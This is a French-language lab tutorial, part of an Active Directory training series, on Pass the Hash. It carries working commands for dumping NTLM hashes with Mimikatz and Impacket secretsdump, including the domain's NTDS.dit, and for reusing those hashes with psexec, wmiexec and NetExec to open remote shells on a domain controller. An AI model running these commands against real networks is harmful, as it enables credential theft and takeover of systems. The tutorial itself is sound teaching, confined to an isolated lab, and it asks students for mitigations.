Skip to main content

Pass the Hash

882 words·5 mins·
Table of Contents
activedirectory - This article is part of a series.
Part 2: This Article

Pass the Hash
#

TP du module Active Directory : extraire un hash NTLM, puis s’authentifier sur une autre machine du domaine sans connaître le mot de passe en clair.

Prérequis : lab AD opérationnel — voir Get Started.

Important : techniques d’attaque réelles, à réaliser uniquement dans le lab isolé décrit dans le get-started.


1. Rappel — qu’est-ce que le Pass the Hash ?
#

ConceptDétail
Hash NTLMEmpreinte du mot de passe (32 caractères hex), utilisée par Windows pour l’authentification NTLM
Pass the Hash (PtH)Réutiliser ce hash pour s’authentifier sur SMB, WMI, WinRM, etc., sans le mot de passe en clair
PrérequisHash obtenu + compte admin local ou admin de domaine sur la machine cible + service distant ouvert (445, 5985…)

Limites à garder en tête :

  • Impossible de PtH vers la même machine où tu es déjà connecté en session locale
  • Les comptes locaux Administrator sont filtrés à distance sur les autres machines (sauf RID 500 sur la machine d’origine)
  • Credential Guard, LSA Protection et Protected Users durcissent l’extraction et la réutilisation

2. Deux approches pour récupérer les hashes
#

Ce TP propose deux parcours pour l’extraction. Les deux mènent à la même phase : Pass the Hash vers une autre machine (section 4).

Option A — MimikatzOption B — Impacket secretsdump
Sur la machine Windows compromise (WS01)Depuis Kali (distant)
PrérequisShell admin ou SeDebugPrivilege sur WS01Identifiants admin + accès SMB (445)
Intérêt pédagogiqueComprendre LSASS, mémoire, PtH intégréApproche « attaquant externe » classique
BruitExécution locale (EDR en prod)Trafic SMB vers la cible

3. Option A — Récupération des hashes avec Mimikatz
#

3.1. Accès initial sur WS01
#

Connexion RDP ou shell avec un compte disposant de droits admin local :

lab\user1  →  élévation  →  admin local

Ou accès grey box fourni par le formateur : lab\administrateur / mot de passe connu.

3.2. Transférer Mimikatz sur WS01
#

Depuis Kali :

# Télécharger mimikatz depuis GitHub, puis servir le binaire
python3 -m http.server 8080

Sur WS01 (PowerShell en administrateur) :

New-Item -ItemType Directory -Force -Path C:\Temp
Invoke-WebRequest -Uri http://192.168.56.10:8080/mimikatz.exe -OutFile C:\Temp\mimikatz.exe

3.3. Dump des sessions en mémoire
#

Lancer mimikatz.exe en administrateur :

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords

Repérer dans la sortie le champ NTLM (32 caractères hex) :

User Name : administrateur
Domain    : LAB
NTLM      : a1b2c3d4e5f6789012345678abcdef01

Si logonpasswords ne retourne rien : aucune session admin récente en mémoire. Reconnectez-vous en RDP avec lab\administrateur sur WS01, puis relancez la commande.

3.4. Autres commandes Mimikatz (selon contexte)
#

# Hashes locaux (SAM) — nécessite souvent SYSTEM
mimikatz # lsadump::sam

# Secrets LSA (comptes de service)
mimikatz # lsadump::secrets

# Comptes domaine en cache (DC injoignable)
mimikatz # lsadump::cache

Noter le hash NTLM obtenu — il servira pour la section 4.


4. Option B — Récupération des hashes avec Impacket secretsdump
#

Toutes les commandes ci-dessous s’exécutent depuis Kali.

4.1. Dump d’une machine jointe au domaine (WS01)
#

Avec des identifiants domaine valides (ex. lab\user1 élevé admin local, ou lab\administrateur) :

impacket-secretsdump 'lab.local/user1:MotDePasse@192.168.56.30'

4.2. Dump complet du domaine depuis le DC (nécessite admin domaine)
#

# Tous les comptes du domaine (NTDS.dit)
impacket-secretsdump 'lab.local/administrateur:MotDePasse@192.168.56.20'

# Un seul compte
impacket-secretsdump 'lab.local/administrateur:MotDePasse@192.168.56.20' -just-dc-user administrateur

4.3. Lire la sortie
#

Format typique :

lab.local/administrateur:500:aad3b435b51404eeaad3b435b51404ee:HASH_NT_ICI:::
ChampSignification
1er hash (aad3b435…)LM (souvent vide / placeholder)
2e hash (HASH_NT_ICI)NTLM — celui utilisé pour le PtH

Exporter les variables pour la suite :

export HASH=HASH_NT_ICI
export USER=administrateur
export DOMAIN=lab.local
export TARGET=192.168.56.20

5. Pass the Hash — phase commune (après extraction)
#

Une fois le hash NTLM obtenu (option A ou B), réutilisez-le pour vous authentifier sur une autre machine (typiquement DC01).

5.1. Impacket — shell distant (depuis Kali)
#

# PsExec-like (SMB 445)
impacket-psexec -hashes :$HASH $DOMAIN/$USER@$TARGET

# Commande unique
impacket-psexec -hashes :$HASH $DOMAIN/$USER@$TARGET 'whoami & hostname'

# Alternative WMI
impacket-wmiexec -hashes :$HASH $DOMAIN/$USER@$TARGET

5.2. NetExec — test et exécution
#

# Vérifier l'authentification par hash
nxc smb $TARGET -u $USER -H $HASH -d $DOMAIN

# Exécuter une commande
nxc smb $TARGET -u $USER -H $HASH -d $DOMAIN -x 'whoami'

5.3. Mimikatz — PtH intégré (depuis WS01)
#

Sans repasser par Kali, injecter un processus authentifié avec le hash :

mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:administrateur /domain:lab.local /ntlm:HASH_NT_ICI /run:cmd.exe

Depuis le cmd ouvert :

whoami
dir \\192.168.56.20\c$

5.4. Preuve de succès (livrable)
#

PreuveCommande
Identité sur la ciblewhoamilab\administrateur
Machine atteintehostnameDC01
Accès fichiersdir \\DC01\c$ ou listing via shell Impacket

6. Grille de TP
#

#TâcheCritère de réussite
1Cartographier le réseau (nmap)Ports 445/5985 identifiés sur DC01 et WS01
2Extraire un hash NTLMSortie Mimikatz ou secretsdump documentée
3Pass the Hash vers DC01Shell ou whoami admin sur le DC
4Expliquer le mécanismeNTLM, droits admin, différence hash / mot de passe
5Proposer 2 mitigationsLAPS, tiering, Protected Users, Credential Guard…

7. Suite de la démarche
#

Phase actuelle : Pass the Hash — extraction NTLM et mouvement latéral vers le DC.

[✓] Mise en place  →  [✓] Pass the Hash  →  [ ] Kerberoasting  →  [ ] …

Étape suivante : Kerberoasting (page à venir) — exploitation des SPN et des tickets Kerberos.

Références :

activedirectory - This article is part of a series.
Part 2: This Article